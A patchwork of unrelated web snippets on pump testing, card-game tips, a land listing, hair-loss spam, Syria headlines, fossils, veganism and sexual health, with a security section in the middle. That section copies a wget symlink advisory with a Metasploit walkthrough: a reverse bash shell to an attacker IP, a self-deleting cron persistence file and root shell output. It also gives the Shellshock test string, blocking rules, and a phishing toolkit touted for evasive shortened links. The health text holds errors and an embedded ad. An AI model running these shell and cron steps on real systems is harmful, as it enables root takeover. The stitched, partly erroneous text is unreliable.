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The new European standards and the Minimum Efficiency Index
According to Directive 2005/32/EC and Directive 2009/125/EC for Energy-using and Energy-related Products, the European Commission published Regulation 547/2012 EC and at the beginning of 2016, the European Committee for Standardization (CEN/TC 197) published the standard EN 16480. The minimum efficiency required for a pump to be marketable in Europe was defined by specifying a threshold value of a new parameter: the Minimum Efficiency Index (MEI).
Regulation 547/2012 EC specifies the procedure to calculate the MEI for each type of pump and establishes a specific threshold value to be achieved: from 01-01-2015 the value MEI>0.4 has been imposed, representing the minimum value of the MEI for pumps. The value MEI=0.4 has a clear meaning in terms of product selection: by imposing this target MEI value, 40% of pumps present on the market before 2015 (the year of the market survey) can no longer be sold commercially. Most pump manufacturers were involved in a new design process of their products to provide them with an MEI>0.4.
The procedure for qualification is reported in the Standard EN 16480 that specifies how pumps need to be tested to verify their MEI value. Standard EN 16480 covers a large number of aspects involved in the experimental measurements, ranging from the test methodology to the propagation of errors related to measurement uncertainty and industrial tolerances.
The Hydro Energy Laboratory
CeSMA, (Figure 1), is the new department of Federico II for Advanced Metrological Services and one of the most advanced laboratories of CeSMA is the Hydro Energy Laboratory (HELab) [1]. HELab is a third party laboratory for the qualification and verification of pump performance as required by Directives 2005/32/EC and 2009/125/EC. The laboratory is structured with a number of measuring lines with a fully automated signal acquisition. Each measuring line is devoted to a specific pump family and range of pump parameters, according to the pump classification included in Regulation 547/2012 EC. In addition, a specific measuring line is dedicated to submersible pumps which are going to be included in future regulations. The laboratory is equipped with flow meters, pressure cells, level gauges and temperature gauges. The mechanical pump parameters include rotational speed and mechanical torques. The electrical parameters consist in absorbed power, circulating currents and power factor. All measurements are of Level 1 accuracy according to ISO 9906. Figure 2 gives an overall view of the laboratory and of one of the experimental rigs.
HELab qualification tests
According to Standard EN 16480 qualification tests have to be performed according to ISO 9906, close to the pump Best Efficiency Point (BEP), and the test results must be interpreted by comparing the pump efficiency curve with the so called "house of efficiency", representing a measurement of the minimum required efficiency to obtain the pump qualification. Because of the lack of an independent institution assigned to verify the MEI values specified by the pump industry, many pump manufacturers are sending their products to the HELab to have them tested by a third party laboratory.
Figure 2. The Hydro-Energy Laboratory.
In addition, we are now performing a research program on the new methodology for the Extended Product Approach, as described in the prEN17038/1 and the prEN17038/2 standards still being discussed bytechnical committee CEN/TC197 in the framework of Directive 2009/125/EC[2]. Research activity is also undertaken about the effect of sediment erosion on the performances of wastewater pumps.
Test reports include pump data, measured data, characteristic and performance curves, and MEI evaluation. In Figure 3 a data report is shown. In Figure 4 an example of the comparison between the performance curve and the "house of efficiency" for MEI evaluation is given.
Limits of MEI application
All pump families and pump sizes included in Regulation 547/2012 EC are considered in a unique easy to use qualification method. In the unified procedure for the assessment of MEI provided by Standard EN 16480, MEI calculations for pumps belonging to different families are quite straightforward, but a few products have been found to be penalized. These products, designed for specific uses but very popular on the market, cannot be qualified according to the present standard, in particular because the method by which the MEI threshold level has been defined did not consider specifically these products.
A typical example is given by well pumps (submersible pumps), namely the MSS of 4 in and 6 in size. It is clear that well size is a geometric constraint in the design of these kinds of pumps. In particular, for the high cost of drilling in rocky soils small well diameters are preferred and the market requires some pump models that maximize the flow rate and the head available given a specific well size. These pumps behave differently from traditional multistage pumps.
In Table I the performances of a series of Vertical Multistage pumps (MS-V) of different BEP flow rates are listed, D being the hydraulic overall diameter: as an effect of the geometric similarity the BEP efficiency, first rapidly and then more gradually, increases and then almost stabilizes for the medium and big model sizes. This trend is similar to the surface shape from which derives the equation at the base of the MEI calculation.
Much caution will be necessary for the future standard on some families of waste water pumps in extending the MEI based qualification procedure. We took from the market a sewage electric pump with shredder manufactured by a well-known Italian pump factory. We tested it in our HELab and test results are plotted in Figure 5. The BEP was obtained for the flow rate QBEP=4,35 l/s.
If Standard EN 16480 were used, the pump efficiency curves might stand over the "house of efficiency" for three flow rates QPL=0.85QBEP, QBEP and QOL=1.1QBEP, with an efficiency in the QOL point larger than 0.985 ?BEP. It is evident from Figure 5 that the efficiency collapses immediately after the BEP point because BEP flow rate is in incipient cavitation regime. This situation is not so rare among the sewage pumps family: there are pumps with cut performance curves where QBEP is outside the manufacturer's recommended operating range.
The new laboratory for pump testing, HELab of the University of Naples Federico II, is now performing qualification tests to assess conformity to Regulation 547/2012 EC. In addition to standard tests for industry and other end users, advanced research is in progress to verify the consistency of future standards as a support activity for Italian pump, motor and control manufacturers.
The application of Standard EN 16480 for the assessment of pump MEI, and the threshold values proposed by Regulation 547/2012 EC, has been found to be adequate for most of the pumps on the market when a proper technical design has been performed. On the contrary, at present, a few pump families with technical constraints due to specific working conditions have been found to be penalized. Caution will be necessary in extending the existing approaches to the pump families not included in Regulation 547/2012 EC.
[1] Carravetta A., (2016) New test facility in Naples, Italy, World Pumps, 10.
[2] Carravetta A., Conte M.C., Antipodi L. (2015) Energy efficiency index for water supply systems, AEIT International Annual Conference.
Armando Carravetta, PhD
Oreste Fecarotta, PhD
Maria Chiara Conte
CeSMA Centro Servizi Metrologici Avanzati,
University of Naples Federico II, Naples, ITALY
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Card Tips:Number 22: Zombiestein
To Xyz Summon[edit]
- The third effect of "Princess Cologne" can be used to Special Summon "Cosmo Queen" or "Tri-Horned Dragon" which can be used to Summon "Zombiestein".
- "Dark World" Decks could use this card because they can Summon multiple copies of the Level 8, DARK Attribute "Grapha, Dragon Lord of Dark World" which can be used as Material for this card.
- Even if this card can't be revived, it's still useful in a Zombie Deck:
- Discard "Skull Conductor" to Special Summon two Level 4 DARK Zombie-Type monsters with 1000 ATK from your hand ("Blue-Blooded Oni" and "Yellow-Bellied Oni" are your best options since they work with Xyz Monsters), then use "Tannhauser Gate" to make both Level 8.
- Use "Resonance Device" with any DARK Zombie-Type monster and "Despair from the Dark" or "Berserk Dragon".
- This card could be Summoned in a "Hieratic" Deck that uses "Tri-Horned Dragon".
- "Gagaga Magician" and "Gagaga Girl"/"Gagaga Child"/"Gagaga Sister" can make this card's Summoning easier.
- "Dark Necrofear" can be quickly Summoned in a Fiend Deck and used as Material for this card's Summoning.
- The same goes for "Gearspring Spirit" in a Machine Deck.
- If "Darklord Superbia" is Special Summoned from the Graveyard, its effect can be used to also revive "Darklord Zerato", setting up this card's Xyz Summon for 1 card.
- "Malefic Stardust Dragon" or "Malefic Blue-Eyes White Dragon" can be Special Summoned, and if it isn't done, Summon another DARK monster. Activate "Galaxy Queen's Light", and select the Summoned "Malefic" monster. The other monster(s) will become Level 8, allowing for an easy Xyz Summon for "Zombiestein". (NOTE: there must be either "Skill Drain" or a face-up Field Spell Card for the "Malefic" monster to be Summoned/not be destroyed.)
- "Gimmick Puppet" Decks can use "Gimmick Puppet Magnet Doll" to easily bring this card out.
- Two Level 7 "Dragon Ruler" monsters can be Special Summoned, and then Normal Summon "Darklon".
- Two copies of "Schwarzschild Limit Dragon" can easily bring this card out (but your opponent must have a monster with 2000 or more ATK on the field).
- The effect of "Isolde, Belle of the Underworld" can be used to make 2 Zombie-Type monsters on your field Level 8.
To use its effect:[edit]
- After using this card's effect, "Curse of Fiend", "Final Attack Orders", "Labyrinth of Nightmare" or "Zero Gravity" can be used to change this card to Attack Position.
- Also while in Defense Position, "Inverse Universe" can be used to make it a 4500 defender (better when attacked), if changed back to Attack Position to attack, its effect can be used again to change it back to Defense Position (DEF 4500).
- "Gamushara" makes a good combo with this card, as your opponent's monster would ram to a 4500 ATK "Zombiestein", and if it is destroyed (which is very probable), besides the battle damage, damage will still be inflicted to your opponent equal to that monster's ATK.
- A similar combo can be done with "Prepare to Strike Back", but this one is much more risky.
- Use "Savage Colosseum" with "Final Attack Orders" to force your opponent to ram this card.
- Cards like "Waboku" or "Mist Body" can be used to protect this monster after it uses its effect and is changed to Defense Position.
- "Number Wall" can easily protect this card while in Defense Position.
Other tips[edit]
- The effect of "Gale Dogra" can be used to send this card from the Extra Deck to the Graveyard before "Number 6: Chronomaly Atlandis" is Xyz Summoned. Equipping this card to "Chronomaly Atlandis" will increase its ATK to 4850, the highest possible with its effect.
- Use the card "Oni-Gami Combo" in conjuction with this card, so that it can attack twice for 9000 damage.
- Level 8 DARK monsters that can be used to Xyz Summon this card:


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Property Description
The last property of its type in the West Bay Area and ideal for an amazing ocean front estate or development property in a quiet area for a boutique hotel, B & B or small community development with ~1 acre and no HOA fees or covenants. Located between Turtle Crossing and Lighthouse Estates, so enjoy the cooling trade winds every month of they year and no bugs. Already partially walled and with many native palms, it has approximately 185 feet on the sea (56 meters) and 245 feet of road frontage (74 meters), this rare gem won't be on the market long.
Contract Information
Current Price: $749,000
Status: Active
Begin Date: 2019-11-12
List Price: $749,000
General Property Features
Access Type: Paved
Area: West Bay
Property Type: Acreage
Lot Acres: 1.06
Topography: Gentle Slope
Waterfront: Yes
Type of Waterfront: Ironshore
Beach Access: No
General Views: Clear ocean views of the Hog Cays, mainland mountains and the ships passing in the night.
Roadfront: No
Property Name: Ocean Front Development Land
Subdivision: West Bay
Street Name: West Bay
Island: Roatan
Country: Honduras
Remarks and Directions
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Hair Loss: An Overview.
There are tens of millions of individuals who deal with loss of hair every year in the USA. This is a problem that can influence the confidence of both males and females. The typical development of this condition will most likely result in the loss of every one of your hair if it is not dealt with. The good news is, modern science has offered us a number of products that are rather capable of easing the worst results of this condition. Alpecin Caffeine C1 Anti Hair Loss Shampoo 375Ml
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- Total Health
Of course, the leading showing factor for their not you will certainly experience below loss will certainly always be your genes. Typically you will certainly be born with a predisposition for or versus hair loss. If you are inclined genetically this does not mean that it will certainly happen but other factors such as hormonal discrepancies, your age, and also your overall general health and wellness will establish if you lose hair and also how severely.
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- 2014.10.31 Wget FTP Symlink Attack Vulnerability
- 2014.09.25 Bash Vulnerability Code Injection Attack
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Wget FTP Symlink Attack Vulnerability
[Bug-wget] GNU wget 1.16 released
It is available for download here: ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.xz and the GPG detached signatures using the key E163E1EA: ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz.sig ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.xz.sig To reduce load on the main server, you can use this redirector service which automatically redirects you to a mirror: http://ftpmirror.gnu.org/wget/wget-1.16.tar.gz http://ftpmirror.gnu.org/wget/wget-1.16.tar.xz * Noteworthy changes in Wget 1.16 ** No longer create local symbolic links by default. Closes CVE-2014-4877. ** Use libpsl for verifying cookie domains. ** Default progress bar output changed. ** Introduce --show-progress to force display the progress bar. ** Introduce --no-config. The wgetrc files will not be read. ** Introduce --start-pos to allow starting downloads from a specified position. ** Fix a problem with ISA Server Proxy and keep-alive connections.
"In addition to changing arguments in all scripts or programs that invoke wget, it is possible to enabled[sic] retr-symlinks option via wget configuration file - either global /etc/wgetrc, or user specific ~/.wgetrc - by adding the line: retr-symlinks=on"
We have released a Metasploit module to demonstrate this issue. In the example below, we demonstrate obtaining a reverse command shell against a user running wget as root against a malicious FTP service. This example makes use of the cron daemon and a reverse-connect bash shell. First we will create a reverse connect command string using msfpayload.
# msfpayload cmd/unix/reverse_bash LHOST=192.168.0.4 LPORT=4444 R
0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112
Next we create a crontab file that runs once a minute, launches this command, and deletes itself:
# cat>cronshell <<EOD
* * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell
Now we start up msfconsole and configure a shell listener:
# msfconsole
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 192.168.0.4
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.4:4444
Finally we switch to the wget module itself:
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell
msf auxiliary(wget_symlink_file_write) > set SRVPORT 21
msf auxiliary(wget_symlink_file_write) > run
[+] Targets should run: $ wget -m ftp://192.168.0.4:21/
[*] Server started.
At this point, we just wait for the target user to run wget -m ftp://192.168.0.4:21/
[*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'...
[*] 192.168.0.2:52251 -> LIST -a
[*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa
[*] 192.168.0.2:52251 -> LIST -a
[*] 192.168.0.2:52251 -> RETR cronshell
[+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500
msf auxiliary(wget_symlink_file_write) > sessions -i 1
[*] Starting interaction with 1...
uid=0(root) gid=0(root) groups=0(root),1001(rvm)
Bash Vulnerability Code Injection Attack
#include <sys/types.h> #include <stdlib.h> #include <string.h> static void __attribute__ ((constructor)) strip_env(void); extern char **environ; static void strip_env() { char *p,*c; int i = 0; for (p = environ[i]; p!=NULL;i++ ) { c = strstr(p,"=() {"); if (c != NULL) { *(c+2) = '\0'; } p = environ[i]; }
- Compile it:
gcc bash_ld_preload.c -fPIC -shared -Wl,-soname,bash_ld_preload.so.1 -o bash_ld_preload.so
- Copy bash_ld_preload.so to /lib:
cp bash_ld_preload.so /lib/
If you wish to apply this workaround across the entire system:
- Add the following to /etc/ld.so.preload on a line by itself:
- Restart all relevant services or reboot the system.
Note that this is potentially very dangerous. It is recommend that you just apply this workaround to specific services that may be exploitable on your system. This can be achieved by adding bash_ld_preload.so to the LD_PRELOAD environment variable in the script that will initialize the service. For example, for httpd on Red Hat Enterprise Linux 6:
- Add the following two lines at the top of /etc/init.d/httpd, after the #! line:
export LD_PRELOAD
- Then restart httpd:
service httpd restart
Workaround: Using mod_security:
The following mod_security rules can be used to reject HTTP requests containing data that may be interpreted by Bash as function definition if set in its environment. They can be used to block attacks against web services, such as attacks against CGI applications outlined above.
Request Header values:
SecRule REQUEST_HEADERS "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SERVER_PROTOCOL values:
SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
GET/POST names:
SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
GET/POST values:
SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
File names for uploads:
SecRule FILES_NAMES "^\(\) {" "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
These may result in false positives but it's unlikely, and they can log them and keep an eye on it. You may also want to avoid logging as this could result in a significant amount of log files.
Workaround: Using IPTables:
A note on using IPTables string matching:
iptables using -m string --hex-string '|28 29 20 7B|'
Is not a good option because the attacker can easily send one or two characters per packet and avoid this signature easily. However, it may provide an overview of automated attempts at exploiting this vulnerability.
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
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sptoolkit : Simple Phishing Toolkit
The spt project ( sptoolkit ) is an open source phishing education toolkit that aims to help in securing the mind as opposed to securing computers. Organizations spend billions of dollars annually in an effort to safeguard information systems, but spend little to nothing on the under trained and susceptible minds that operate these systems, thus rendering most technical protections instantly ineffective. A simple, targeted link is all it takes to bypass the most advanced security protections. The link is clicked, the deed is done.
spt ( sptoolkit )was developed from the ground up to provide a simple and easy to use framework to identify your weakest links so that you can patch the human vulnerability. If the spt project sounds interesting to you, please consider downloading it for evaluation in your own organization. Feedback is welcomed and always appreciated
Installation of sptoolkit is easy there are lots of templates, We are planning to customize and make our own template lets see how it goes.
Basic reuirements for sptoolkit
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Feature list of sptoolkit
- Vast improvements in the editing functionality for templates and education packages. Major changes include: two different editors to choose from (the oroginal spt text editor and TinyMCE), copy templates or education to new version and then customize them.
- Added education completion tracking, now you can determine if your targets completed the assigned education in a campaign.
- Support for the Google and TinyURL URL shortener services. Now your phishing emails can have shortened URLs, making them harder to detect.
- Support for sending SMTP using SSL secured connections.
- Enhancements to the viewing of campiang information including SMTP relay used and destination URL used.
- Initial support for using spt in SSL/TLS secured installations, code updates to prevent insecure content warnings.
- All forms now generate inline errors with entered value retention, allowing easy correction of incorrect or missing items without requiring all information to be entered again.
- Email tracking times are now more accurate when viewing campaign information.
- Most items in the Quick Start module now feature links allowing you to quickly access the desired location in the spt UI.
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With the Galaxy S20 series, Samsung finally nailed this one feature
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How to fix your mistake without admitting you've made one: a lesson by Samsung
I know you're wondering what I'm talking about and I won't keep you on the edge of your seats anymore. My favorite change in the Galaxy S20 series is the smaller display edge curve.
We saw the first step last year with the Galaxy S10 devices. The radius of the curve was considerably smaller but the annoying reflections and color distortion were still there, so it wasn't good enough.
Don't go chasing waterfalls
With this move, Samsung not only pleased its fans but also separated the design of its phones from their Chinese competitors. It's like subtly saying to them "Go on, learn your lesson the hard way." And I hope they do because the sooner the curve-edge-display fad ends, the better.
The so-called waterfall displays might look cool but as soon as you have one in your hand, you realize that when it comes to touchscreens, utility is more important than appearance. The Huawei Mate 30 Pro's display goes so far down the side that the volume buttons had to be removed and replaced with touch functionality which is a major pain in the butt to use.
I like to think that what Samsung did proves that companies actually do listen to feedback from their users. While we'll never see the headphone jack on another S-series phone, at least we have the small win of getting rid of the curved display (or close enough). And for that, I say: Thank you, Samsung!


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ActiveCollab is a project management solution for creative professionals. It offers cloud-based subscription plans or a self-hosting license.
Projects are split into tasks and subtasks. Tasks can be filtered by due date, assigned users or custom labels. Dependencies between the tasks can be set, so there's always an exact order of tasks. Automatic rescheduling allows for the child tasks to automatically follow the change made to the parent task. Tasks can be viewed as a timeline (with shown dependencies), a kanban board, a calendar or a list.
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Aleksandar from Handwritten Solutions
Company Size: 2-10 employees
Industry: Computer Software
Time Used: Less than 2 years
Review Source: Capterra
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March 2020
Perfect Project management tool.
ActiveCollab is one of the best, if not the best project management tool that I have ever used and I have jumped from one to another tool for different projects and project types. If offers so many features, perfect dashboard, milestone preview, calendar, planner, contact details, time tracking and much more. While it is perfect for managing many different types of projects, this is still not the perfect tool for managing software development projects. The only reason for that would be, there is no (or that was not back then) an integration with Git or other version of control system. It was simply a missing feature back then. I truly hope that nowadays the ActiveCollab team managed to improve and integrate such feature, but talking 6-7 years ago, that was the only downside that I can say about it. If for some reason that is still not available and you are into software development business, look for something else like Asana or Bitbucket.
Great dashboard, different types of reports, milestone preview, calendars, time tracking tool are just a few of the features that make this software irreplaceable tool when it comes to project management.
Lack of integration with Git or another version of control system.
August 2019
Jolie from Giant Bicycle
Company Size: 51-200 employees
Industry: Consumer Goods
Time Used: More than 2 years
Review Source: Capterra
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August 2019
Active Collab makes working together simple
My team is spread across the country and Active Collab allows us to work together on projects seamlessly. Our outside partners are also able to work with us easily.
Great tool for managing complex projects with multiple stakeholders Pretty robust feature set Simple to access and easy to invite collaborators in & out of my company
Upgrades have been a bit buggy and while the team are responsive, they don't always believe that they've broken something
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November 2020
Company Size: 1,001-5,000 employees
Time Used: More than 2 years
Review Source: Capterra
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November 2020
Self hosted or hosted, an excellent team tool
We have a global team that work on projects together, ActiveCollab keeps us progressing them. We also use it for collaboration, requests and idea sharing.
We tried many alternatives, but the simplicity and the ability to self host won us over. Task lists, Kanban Style boards, Time tracking, Notifying and Assigning all work well.
I feel the file sharing (or at least referencing a file you have already uploaded) could be simpler. Apart from that we're really happy.
Reasons for Choosing ActiveCollab
Primarily the ability to self host, and have a large team accessing without paying by user per month.
September 2020
Rachel from COLAB
Company Size: 11-50 employees
Industry: Marketing and Advertising
Time Used: Less than 12 months
Review Source: Capterra
September 2020
Convoluted structure is a hindrance to workflow
We ended up transferring from ActiveCollab to Teamwork fairly quickly because it caused some business problems for us. Issues were missed (especially subtasks), and we lacked the reporting structure we needed to keep a good grasp of resourcing and individual task progress. The time logging structure was also a pain point compared to alternate software options we've since pursued.
While I will say I don't like much about this software, the budget and description location/transparency works well for the task workflow. It is fairly easy to include all necessary information in an individual task, but detail tracking and dependencies are where this ease of use falls off.
The relationship between tasks and subtasks is a pain point and lacks clarity/definition. Sometimes there would be dropoff when trying to upload attachments, and they would not actually post to the task. ActiveCollab doesn't have a great reporting structure (compared to Jira) for our specific needs, and that ended up being a hindrance to workflow. For as complicated as the reporting section looked, I felt it was lacking. While it isn't a functionality issue, I also dislike the visual design of the software - it feels antiquated and can be draining for such a frequently used tool. Time logging was difficult compared to the software we moved to later.
July 2020
Company Size: 11-50 employees
Time Used: More than 2 years
Review Source: Capterra
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July 2020
Simple and extensive
It was very good to us during 6 years.
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Marple Bridge's nostalgic appeal gives city dwellers a taste of village life
PUBLISHED: 00:00 16 July 2013 | UPDATED: 17:57 16 February 2016
Gordon Wilkinson
Marple Bridge gives a taste of village life to those jaded metropolitan folk who want a nostalgic trip back in time when things moved at a slightly slower pace. But this being the modern world it is also a location with contemporary connections that can whisk visitors cityward within a matter of minutes.
Twenty minutes or so out of Stockport and visitors can stroll in a picturesque spot with its vernacular architecture and charming bridge spanning the River Goyt. It has been designated as a conservation area since 1974 and this was extended to incorporate Brabyns park in 2006.
The village gets its look from its Derbyshire origins. Although now part of Stockport, for centuries the area east of the River Goyt was part of the township of Ludworth in the Hundred of the High Peak.
The land to the west of the river was called Low Marple, part of the township of Marple, in the Hundred of Macclesfield in the County of Cheshire. Ludworth with Mellor was moved to become part of the Urban District of Marple in Cheshire in boundary reorganisations in 1936.
Not much is known about early Ludworth, except that there was a corn mill at Mill Brow in the 1200s. The local people kept adding to their land by 'assarting' - that is making new fields by felling trees, clearing stones and fencing and early dwellers lived in wood and thatch houses and scraped a living off the land. They made some extra money from the sale of cloth made in the home, first of wool, linen and hemp, and much later cotton.
In 1621 a survey was made of the bridges 'in decay' in Cheshire and who ought to pay for their repair. It recorded that: 'One Cart Bridge (called Marple Bridge) to be built by Cheshire and Derbyshire' and the small settlement on the Ludworth side of the River Goyt became Marple Bridge although it remains a mystery why it was not named Ludworth Bridge.
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Defections Threaten Hayat Tahrir Al-Sham In Idlib
The internal differences in Idlib-based Hayat Tahrir al-Sham push its most prominent leaders to defect, and a clash with al-Qaeda's Guardians of Religion Organization may accelerate the defections.
The internal differences in Idlib-based Hayat Tahrir al-Sham push its most prominent leaders to defect, and a clash with al-Qaeda's Guardians of Religion Organization may accelerate the defections.
Hayat Tahrir al-Sham (HTS), a coalition of Islamist groups fighting against regime forces in Idlib, Syria, is facing dissent within its ranks and accusations of corruption by one of its own leaders.
Over the past week, a number of developments have taken place within HTS, the hard-line Opposition group that currently controls much of Idlib Province in northwestern Syria.
Since defeating its military opponents in parts of Syria, extremist organization Hayat Tahrir al-Sham has been forcing influential individuals to leave as well.
Since its recent domination over the final rebel-held pocket in Idlib, Hayy'at Tahrir al-Sham (HTS) has been determined to move beyond military means to ensure a lasting dominance in northwestern Syria.
Syria's Idlib faces collapse following the capture of the opposition province from the hard-line HTS faction, risking huge civilian suffering.
HTS' takeover of north-western Syria in recent weeks would have been unthinkable just one month ago. But now, the group has gained control of Idlib and has set about imposing its brutal rule.
As Hayyat Tahrir al-Sham (HTS) captures towns in north Syria, residents fear group's presence may lead to government assault or direct Turkish intervention.
Over the past week, Hayy'at Tahrir al-Sham (HTS) has taken over towns in northwestern Syria. The subsequent fighting has seen the extremist group kill other rebel fighters and forcibly displace hundreds of civilians.
HTS incur further problems in their attempts to govern in Idlib with the group ever alienated from the Syrian arena
Abu Mohammed al-Joulani assumes the leadership role with HTS, replacing former Jaish al-Ahrar head Abu Jaber
The HTS faces renewed resistance to its rule after the town of Darat Izza rise up against its rule and its local forces defect.
Hayy'at Tahrir al-Sham (HTS) has no desire to unite Syria & are antithetical to the aims of the revolution – and Syrians know this
HTS shoot on protesters after taking control of large swaths of Idlib Province in northern Syria
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Paleocene emergence of elephant relatives and the rapid radiation of African ungulates
Edited by Elwyn L. Simons, Duke University Lemur Center, Durham, NC, and approved May 11, 2009 (received for review January 14, 2009)
Elephants are the only living representatives of the Proboscidea, a formerly diverse mammalian order whose history began with the 55-million years (mys) old Phosphatherium. Reported here is the discovery from the early late Paleocene of Morocco, ca. 60 mys, of the oldest and most primitive elephant relative, Eritherium azzouzorum n.g., n.sp., which is one of the earliest known representatives of modern placental orders. This well supported stem proboscidean is extraordinarily primitive and condylarth-like. It provides the first dental evidence of a resemblance between the proboscideans and African ungulates (paenungulates) on the one hand and the louisinines and early macroscelideans on the other. Eritherium illustrates the origin of the elephant order at a previously unknown primitive stage among paenungulates and "ungulates." The primitive morphology of Eritherium suggests a recent and rapid paenungulate radiation after the Cretaceous-Tertiary boundary, probably favoured by early endemic African paleoecosystems. At a broader scale, Eritherium provides a new old calibration point of the placental tree and supports an explosive placental radiation. The Ouled Abdoun basin, which yields the oldest known African placentals, is a key locality for elucidating phylogeny and early evolution of paenungulates and other related endemic African lineages.
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QLD Abattoir PhotosPhotos from a Queensland Abattoir
WARNING! Some people may find these photos taken in a slaughterhouse distressing. However the news articles following the photos are worth reading.
This series of photos was taken by Ella Pellegrini, a young Italian photography student visiting Australia. She had permission from management at the South East Qld abattoir to do this, and made two trips in, but she said that the smell and noise were horrendous. She said it would have been good to visit more times, but she had such feelings of terror that she was unable to muster the courage.
Most people will find these photos to be quite disturbing but we put them on the site to give a small glimpse into the horror of the meat industry. These images are repeated tens of thousands of times a day on cattle in Australia alone and they do not capture the sounds and smells of these horrific places. The reality of the meat industry is actually much worse than these photos suggest and this violence is a primary reason why people go vegetarian. The other main reasons people stop eating meat is for health and environmental reasons.
These pictures may help to explain why we demonstrated for four days outside the conference room at The Convention Centre, where the World Meat Congress was held (26th - 29th April 2006). Protests took many different forms, including a near naked young woman, Jamie Yew from AL Vic, who threw fake blood over herself, then climbed into an oversized "meat tray" and covered herself with cling wrap. Another was when eleven activists from three states walked into an Ipswich abattoir at 3am and chained themselves to machinery on the killing floor and others chained themselves to the chute which would take the animals to their death.
We hope that these photos will help to encourage you to give up eating meat for the sake of the terrified creatures that have to endure this fate and the people who are payed to do this work. Paul McCartney's words are totally relevent: 'If slaughterhouses had glass walls, everyone would go vegetarian.' Please go vegetarian, the meat industry is cruel and brutal, a disaster for the environment and bad for human health
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Treatment is available in a single dose of antibiotics to be taken for as long as seven days. Ensuring that your partner takes medication for chlamydia prevents chances of re-infecting each other. This requires that both of you abstain from sexual intercourse until completion of the dose and the signs and symptoms all subside. Since others can contract chlamydia through vaginal, oral or anal sex, both parties need to be in the know about their present conditions. Using a latex condom and good dental dams can help reduce the chances of contracting chlamydia or spreading it to your partner.
Sexually active women are the most affected individuals. Bacterial Vaginosis is as a result of an overgrowth of harmful bacteria in the vagina. Signs and symptoms of this disease are not easily discovered, but if they occur, they manifest in the form of abnormal discharge from the vagina, pain, and itching during urination and a pungent order from your genitals. Testing for bacterial vaginosis will need a doctor to keenly examine your vaginal area and take samples of vaginal fluids that is viewed under a powerful microscope and later subjected to most tests. Doing the test is only possible when you are not on your periods. 24 hours before undergoing the test, you are to resist douching, using tampons and having sex.
Usually, results are out in a few days after the test. If you are a victim, prescribed antibiotics, suppositories or vaginal creams for application as per the recommended dose. BV clears on its own, but it is advisable to get treated to prevent the situation from worsening leading to complications. This sexually transmitted disease can history by using latex condoms and dental dams during sex. Otherwise, abstinence and monogamy are among the surest ways to be safe from BV. Women should keep off douching because this removes the good bacteria from the vagina and may worsen BV resulting in adverse effects.
Syphilis as a sexually transmitted disease you can acquire it by getting in contact with open wounds and sores during sexual intercourse. Syphilis has very adverse effects if left untreated. Among these effects is damage to the nervous system and brain, blood infection and death. Early diagnosis can be treated using antibiotics. Its signs and symptoms include painless and tough ulcers around the penis, vagina, mouth or anus. The sores are mostly small in size. There is a rash on the palms and soles, headache, fever, sore throat, swollen lymph glands, weight loss, fatigue, hair loss in patches and muscle aches. Some signs may be prominent while others may not.
Syphilis diagnosis is through conducting a blood test or examining a swab sample from the sore that can be in the vagina, penis, mouth, lips or anus. This will depend on the present signs and symptoms and duration elapsed since you got exposed to it. If there are no symptoms tests will be difficult to determine the presence of syphilis. A penicillin injection is given to cure this disease or antibiotics are to swallow for 14 days in case the victim reacts to penicillin. Pregnant women who are victims of syphilis stand a high chance of losing the pregnancy. A latex condom will help in reducing the risk of spreading or contracting the infection.
Different types of bacteria cause Pelvic Inflammatory Disease and among them are gonorrhea and chlamydia. PID happens when bacteria causing these diseases move from the cervix or vagina up into the uterus and reproductive parts around that area. Signs and symptoms occur within the first ten days of your cycle and could cause pain in the abdomen, cervix, and uterus, chills, and fever. For a doctor to conduct a test for PID, typical symptoms need to undergo analysis excluding others like ectopic pregnancy and appendicitis. To confirm inflammation, a practitioner will use a laparoscope to check the fallopian tubes. Results are almost instant because no samples are of use.
Considering that very many types of bacteria could result in PID and treating this sexually transmitted disease is possible with the help of combining different antibiotics. Depending on how severe the symptoms are, the doctor will choose to give oral antibiotics or through IV. The situation may lead to hospitalization if it the state gets worse. If left untreated, PID can result in complication like a pelvic abscess and ectopic pregnancy. In some cases, effects of depression, pelvic scar tissue, hysterectomy, chronic abdominal pain, and infertility. For unmarried individuals, abstinence is the best method to ensure you are safe from PID. If need be then protecting yourselves during sexual intercourse is vital using dental gums and a latex condom. To avoid this type of thing, you can skip sexual contact all together by learning about remote orgasms on Tempting Alice. This site will assist with the the questions you have about this. Married persons should exercise monogamy and faithfulness to avoid contracting pelvic inflammatory diseases.
